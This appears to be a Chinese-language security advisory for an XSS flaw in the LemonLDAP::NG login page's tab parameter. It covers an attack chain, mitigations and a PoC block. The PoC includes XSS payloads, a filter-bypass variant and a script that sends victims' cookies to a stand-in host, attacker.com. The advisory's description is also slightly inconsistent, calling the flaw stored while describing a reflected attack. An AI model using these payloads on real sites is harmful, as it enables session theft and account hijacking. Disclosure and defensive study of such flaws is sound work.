CVE-2025-31510 CVSS 7.2 高危

CVE-2025-31510: LemonLDAP::NG 登录页跨站脚本(XSS)漏洞

披露日期: 2026-01-16

来源: [email protected]

漏洞信息

漏洞编号

CVE-2025-31510

漏洞类型

跨站脚本(XSS)

CVSS评分

7.2 高危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

LemonLDAP::NG

漏洞概述

CVE-2025-31510是LemonLDAP::NG门户中的一个存储型跨站脚本(XSS)漏洞。该漏洞存在于登录页面功能中，攻击者可以通过tab参数注入任意Web脚本或HTML代码。由于漏洞位于登录页面，潜在受害者范围广泛，所有访问受影响登录页面的用户都可能受到攻击。此漏洞影响LemonLDAP::NG 2.21.0之前的所有版本，CVSS评分7.2，属于高危漏洞。攻击者无需任何认证即可利用此漏洞，且不需要用户交互即可完成攻击。LemonLDAP::NG是一个流行的开源单点登录(SSO)和访问管理解决方案，广泛应用于企业环境中，因此该漏洞可能影响大量用户和系统。

技术细节

该XSS漏洞源于LemonLDAP::NG登录页面处理tab参数时缺乏充分的输入验证和输出编码。攻击者构造恶意Payload通过tab参数提交，当其他用户访问包含该恶意参数的登录页面时，注入的JavaScript代码将在受害者浏览器中执行。攻击者可利用此漏洞窃取用户会话Cookie、劫持用户账户、执行钓鱼攻击或植入恶意软件。由于漏洞影响Choice认证流程的登录页面，攻击面较大。攻击者可通过URL参数或表单提交方式传递恶意Payload，服务器端未对用户输入进行安全过滤即直接回显到页面响应中，导致恶意脚本被执行。防御此类漏洞需要对所有用户输入进行严格验证和适当编码转义。

攻击链分析

STEP 1

步骤1

攻击者构造恶意XSS Payload，通过tab参数注入到LemonLDAP::NG登录页面URL或表单中

STEP 2

步骤2

服务器端未对tab参数进行输入验证和输出编码，直接将用户输入回显到页面响应中

STEP 3

步骤3

受害者访问包含恶意Payload的登录页面，浏览器解析HTML时执行注入的JavaScript脚本

STEP 4

步骤4

攻击者通过恶意脚本窃取受害者Cookie、会话令牌或其他敏感信息

STEP 5

步骤5

攻击者利用窃取的凭证劫持用户会话，执行未授权操作或进一步横向移动

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- CVE-2025-31510 XSS PoC -->
<!-- LemonLDAP::NG Login Page tab Parameter XSS -->

<!-- Method 1: Via URL parameter -->
<!-- https://vulnerable-site/portal/login?tab=<script>alert(document.cookie)</script> -->

<!-- Method 2: Via form submission with encoded payload -->
<!-- tab parameter value: <img src=x onerror=alert('XSS')> -->

<!-- Real-world attack payload example -->
<script>
  // Steal session cookies
  var cookies = document.cookie;
  var attacker = 'https://attacker.com/steal?c=' + encodeURIComponent(cookies);
  new Image().src = attacker;
</script>

<!-- Encoded variant to bypass filters -->
<!-- tab=%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E -->

影响范围

LemonLDAP::NG < 2.21.0

防御指南

临时缓解措施

如果无法立即升级，可通过Web应用防火墙(WAF)规则临时拦截包含可疑XSS Payload的请求，特别是针对tab参数的恶意输入。同时对登录页面添加输入长度限制和字符白名单过滤，移除或转义HTML特殊字符如<、>、"、'等。建议在生产环境中尽快完成版本升级以彻底修复该漏洞。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表